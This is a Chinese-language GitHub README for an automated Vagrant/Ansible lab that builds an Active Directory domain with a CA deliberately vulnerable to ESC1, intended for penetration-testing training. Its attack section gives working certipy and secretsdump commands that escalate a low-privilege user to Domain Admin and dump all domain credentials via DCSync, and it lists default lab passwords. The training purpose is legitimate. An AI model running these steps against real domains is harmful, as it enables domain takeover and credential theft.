omar1111eamsa/ad-attack-scenario

GitHub: omar1111eamsa/ad-attack-scenario

一个完全自动化的 Active Directory 渗透测试实验室,通过 Vagrant + Ansible 一键搭建含 ESC1 漏洞的域环境,让使用者在「构建—攻破—修复」的闭环中学习真实渗透测试流程。

Stars: 0 | Forks: 0

# AD CS ESC1 — 一个先构建后攻破的 Active Directory 实验环境 本仓库是一个完全自动化的**基础设施即代码**实验室,它构建了一个小型的 Active Directory 林,其中包含一个企业证书颁发机构(AD CS),并被刻意配置了 **ESC1** 漏洞 —— 然后为你提供了一套工具,让你能够从一个低权限的域用户一路攻陷至**域管理员**(Domain Admin)并进行完整的目录复制(**DCSync**)。 只需一条 `vagrant up` 命令即可配置好一切:四台虚拟机(域控、证书颁发机构、Windows 10 客户端、Kali 攻击机)、AD 域、CA、易受攻击的证书模板、受害用户以及攻击者工具包 —— 无需任何手动操作步骤。 ## 为什么要既*构建*又*攻破*这个实验环境? 阅读关于攻击的资料并不等于真正理解了它。这个项目建立在一个简单的理念之上:**你需要通过先构建目标环境然后再去攻破它,来真正了解渗透测试的实际运作方式。** - 以代码形式**构建**环境会迫使你去了解底层地形 —— DNS、Kerberos、Active Directory 证书服务、证书模板、注册权限以及域信任。你能*确切地*看到真实世界中的错误配置(ESC1)是如何被引入的,而不是将其视为一个黑盒。 - 随后在如此熟悉的基础设施上**攻破**它,将带你走完完整的杀伤链:枚举域 → 发现薄弱模板 → 以 Administrator 身份请求证书 → 通过 Kerberos PKINIT 进行身份验证 → 提权至 Domain Admin → 对整个目录进行 DCSync → 实现隐蔽持久化。 - 因为该实验环境是**可重现且可销毁的**(`vagrant destroy` / `vagrant up`),你可以随心所欲地多次攻破它、修补它并重试 —— 这正是真正能提升技能的反馈循环。 这正映射了真实的实战任务:你绘制环境图谱、枚举服务和配置错误、建立据点、提权、建立持久化,最后探讨**检测与防御**。最终你将理解*攻防双方* —— 既知道漏洞是如何存在的,**也**知道它是如何被滥用的 —— 而不仅仅是复制粘贴一个漏洞利用脚本。 ## 漏洞解析:AD CS ESC1 **ESC1** 是一项严重的 AD CS 错误配置。如果一个证书模板同时满足:(1) 允许**客户端身份验证**,(2) 允许**注册者提供主题**(`ENROLLEE_SUPPLIES_SUBJECT`),并且 (3) **能被低权限用户注册**,那么任何域用户都可以*以域管理员的身份*请求证书并以该身份进行验证 —— 在几分钟内实现从零权限到 Domain Admin 的提权。 ## 学习路径 1. **构建** — 通过 `vagrant up` 配置整个实验环境(见本 README)。 2. **攻击** — 按照 [`scenario-1/docs/attack-guide.md`](scenario-1/docs/attack-guide.md) 一步步操作:枚举 → 请求 → 身份验证 → DCSync。 3. **理解** — 指南中的每一步都会解释*它的作用及其生效原因*,而不仅仅是给出命令。 4. **防御** — 指南最后会讲解检测(CA/DC 事件 ID)与修复方案。 5. **迭代** — 销毁它、重建它、尝试不同的变化、对其进行安全加固、再次攻击。 ## 前置条件 在开始之前,请确保你的宿主机上已安装以下软件: ### 必需软件 1. **Libvirt/KVM**(原生 Linux 虚拟化) # Ubuntu/Debian sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virt-manager sudo usermod -aG libvirt,kvm $USER newgrp libvirt 2. **Vagrant** (2.3.0+) 及 Libvirt 插件 # 安装 Vagrant sudo apt install vagrant # 安装 vagrant-libvirt 依赖 sudo apt install libvirt-dev # 安装 vagrant-libvirt 插件 vagrant plugin install vagrant-libvirt 3. **Ansible** (2.10+) # Ubuntu/Debian sudo apt install ansible # 用于 Windows 管理的 Python WinRM pip3 install pywinrm ### 系统要求 - **内存 (RAM)**: 至少 16 GB(推荐 20 GB) - **磁盘空间**: 至少 80 GB 可用空间 - **CPU**: 最少 4 核(推荐 8 核) ## 快速开始 ### 1. 克隆仓库 ``` git clone https://github.com/omar1111eamsa/ad-attack-senario.git cd ad-attack-senario ``` ### 2. 提供 Ansible Vault 密码 域密码存放在 **Ansible Vault** (`group_vars/all/vault.yml`) 中。 Vault 密码**没有**被提交到代码库中 —— 请创建一次密码文件,以便在自动化配置时能够自动解密(实验环境的 vault 密码是 `vagrant`): ``` echo 'vagrant' > scenario-1/infra/ansible/.vault_pass chmod 600 scenario-1/infra/ansible/.vault_pass ``` ### 3. 进入 Vagrant 目录 ``` cd scenario-1/infra/vagrant ``` ### 4. 启动环境 ``` vagrant up ``` **这条单条命令将:** - 使用 Libvirt/KVM 创建 4 台虚拟机(DC、CA、Win10、Kali 攻击机) - 自动配置网络 IP(无需手动设置!) - 安装 Windows Server 和 Active Directory - 配置证书颁发机构 - 创建 ESC1 易受攻击的模板 - 配置 LDAPS - 设置测试用户账户 - 在 Kali 上安装攻击工具 **首次运行需要 30-60 分钟**,具体取决于你的网络速度和硬件配置。 ### 5. 等待配置完成 设置过程是完全自动化的。Vagrant 将使用 Ansible 配置所有虚拟机。请等待直到你看到: ``` ==> attacker: Running provisioner: ansible... PLAY [Verify network configuration on Windows hosts] **************************** ... PLAY RECAP ********************************************************************* dc : ok=XX changed=XX ... ca : ok=XX changed=XX ... win10 : ok=XX changed=XX ... attacker : ok=XX changed=XX ... ``` ## 攻破 ESC1 ### SSH 登录到攻击机 ``` vagrant ssh attacker ``` ### 运行攻击命令 ``` # Step 1: 以 Administrator 身份请求证书 (ESC1 Exploit) certipy req -u jdoe@serini.lab -p 'Summer2024!' -ca SERINI-CA -target ca.serini.lab -template VulnUserAuth -upn administrator@serini.lab # Step 2: 使用证书进行认证并获取 hash certipy auth -pfx administrator.pfx -dc-ip 192.168.56.10 # Step 3: DCSync - 导出所有域凭证 secretsdump.py -hashes :HASH_FROM_STEP_2 administrator@192.168.56.10 ``` 将 `HASH_FROM_STEP_2` 替换为你在步骤 2 中获得的 NT hash。 ## 实验环境架构 ``` ┌─────────────────────┐ │ Domain Controller │ │ (dc.serini.lab) │ │ 192.168.56.10 │ └──────────┬──────────┘ │ │ ┌──────────┴──────────┐ ┌─────────────────────┐ │ CA │ │ Windows 10 Client │ │ (ca.serini.lab) │ │ (win10.serini.lab) │ │ 192.168.56.20 │ │ 192.168.56.40 │ └─────────────────────┘ └─────────────────────┘ │ │ ┌──────────┴──────────┐ │ Kali Attacker │ │ (attacker) │ │ 192.168.56.50 │ └─────────────────────┘ ``` ## 项目结构 ``` . ├── scenario.txt # The training brief (3 scenarios) ├── README.md └── scenario-1/ ├── docs/ │ └── attack-guide.md # Step-by-step exploitation walkthrough ├── infra/ │ ├── ansible/ │ │ ├── ansible.cfg │ │ ├── inventory.yml # Hosts only (WinRM + SSH) │ │ ├── group_vars/ │ │ │ ├── all/ # vars.yml (data) + vault.yml (secret) │ │ │ ├── windows.yml # WinRM connection settings │ │ │ └── linux.yml # SSH connection settings │ │ └── playbooks/ # numbered in execution order │ │ ├── site.yml # Ordered master pipeline │ │ ├── 00-network.yml 01-enable-icmp.yml 02-domain.yml │ │ ├── 03-adcs.yml 04-ldaps-config.yml 05-software-gpo.yml │ │ ├── 06-kali-tools.yml 07-win10-software.yml 08-esc1-template.yml │ │ ├── 09-test-user.yml 10-fix-enroll-permission.yml │ │ └── optional/ # manual helpers (not in site.yml) │ └── vagrant/ │ └── Vagrantfile # 4-VM libvirt definitions + provisioner └── scripts/ ├── 01-create-vulnerable-template.ps1 # ESC1 template injector ├── 02-create-test-user.ps1 # jdoe └── 08-persistence-dcsync-account.ps1 # post-exploit persistence ``` ## 实用命令 ### 虚拟机管理 ``` # 启动所有 VM vagrant up # 停止所有 VM vagrant halt # 销毁所有 VM (清空状态) vagrant destroy -f # 检查 VM 状态 vagrant status # SSH 登录到特定 VM vagrant ssh dc # Domain Controller vagrant ssh ca # Certificate Authority vagrant ssh win10 # Windows 10 client vagrant ssh attacker # Kali attacker ``` **虚拟机访问:** 所有虚拟机都可以通过 `virt-manager` 或 `virt-viewer` 访问图形控制台。连接命令如下: ``` # 打开图形化管理器 virt-manager # 或者连接到特定 VM virt-viewer dc ``` ### 重新运行配置 如果你需要重新运行 Ansible 设置: ``` cd scenario-1/infra/vagrant vagrant provision ``` ## 手动执行 Ansible 如果你想手动运行 Ansible playbook: ``` cd scenario-1/infra/ansible # 运行所有 playbook ansible-playbook -i inventory.yml playbooks/site.yml # 运行特定 playbook ansible-playbook -i inventory.yml playbooks/08-esc1-template.yml ``` ## 默认凭据 ### 域管理员 - **用户名**: `SERINI\Administrator` - **密码**: `P@ssw0rd123!` ### 测试用户(用于漏洞利用) - **用户名**: `jdoe` - **密码**: `Summer2024!` - **域**: `serini.lab` ### Kali 攻击机 - **用户名**: `vagrant` - **密码**: `vagrant` ## 故障排除 ### Docker 导致虚拟机网络中断(重要) 如果宿主机上安装了 **Docker**,它会将 iptables/nftables 的 `FORWARD` 策略设置为 `drop`,并启用 `bridge-nf-call-iptables`,这会静默阻断 libvirt 网桥上的**客户机到客户机流量**。症状:DC 构建成功,但成员加入失败,提示*"无法联系域"*或*"信任关系失败"*。在实验环境运行期间请停止 Docker: ``` sudo systemctl stop docker docker.socket containerd sudo sysctl -w net.bridge.bridge-nf-call-iptables=0 sudo systemctl restart libvirtd # re-adds libvirt's NAT rules cleanly ``` 之后可以使用 `sudo systemctl start docker` 重新启用 Docker(在 Docker 运行期间,实验环境网络会再次中断)。 ### 虚拟机未启动 ``` # 检查运行中的 libvirt domain sudo virsh list --all # 或者使用 Vagrant status vagrant status ``` ### Libvirt 网络问题 **虚拟机未获取 IP:** ``` # 检查 libvirt 默认网络 sudo virsh net-list sudo virsh net-start vagrant-libvirt # if not running # 检查 VM 网络接口 vagrant ssh dc -c "ipconfig" ``` **虚拟机之间无法 ping 通:** ``` # 从攻击者 VM vagrant ssh attacker ping 192.168.56.10 # Should reach DC ``` ### Ansible 连接错误 ``` # 测试 WinRM 连通性 ansible dc -i scenario-1/infra/ansible/inventory.yml -m win_ping ``` ### GPO / “未与 Active Directory 域或林关联” 如果 `05-software-gpo` 因此错误失败,该 playbook 现在对 Get-GPO/New-GPO 使用了 `-Domain serini.lab`。请确保在运行 `05-software-gpo` 之前,`02-domain` 和 `03-adcs`(包括重启)已完成。 ### ESC1 攻击失败 1. 确保已配置 LDAPS: cd scenario-1/infra/ansible ansible-playbook -i inventory.yml playbooks/04-ldaps-config.yml 2. 验证模板权限: ansible-playbook -i inventory.yml playbooks/10-fix-enroll-permission.yml 3. 检查 Kali 上的 DNS: vagrant ssh attacker -c "cat /etc/hosts | grep serini" ## 学习资源 - [AD CS ESC1 漏洞详情](https://posts.specterops.io/certified-pre-owned-d95910965cd2) - [Certipy 文档](https://github.com/ly4k/Certipy) - [Active Directory 安全](https://adsecurity.org/) ## 免责声明 本实验环境仅供**教育目的**使用。请仅在获得授权的环境中使用这些技术。未经授权访问计算机系统是违法行为。 ## 许可证 MIT 许可证 - 详情请参阅 LICENSE 文件 ## 贡献 欢迎提交 issue 或 pull request 来改进此实验环境! ## 作者 为 Active Directory 安全培训和 ESC1 漏洞演示而创建。
标签:Active Directory, AI合规, AWS 安全, Libemu, Plaso, Terraform 安全, Vagrant, 模拟器, 系统提示词, 足迹探测, 逆向工具, 配置修复, 靶场环境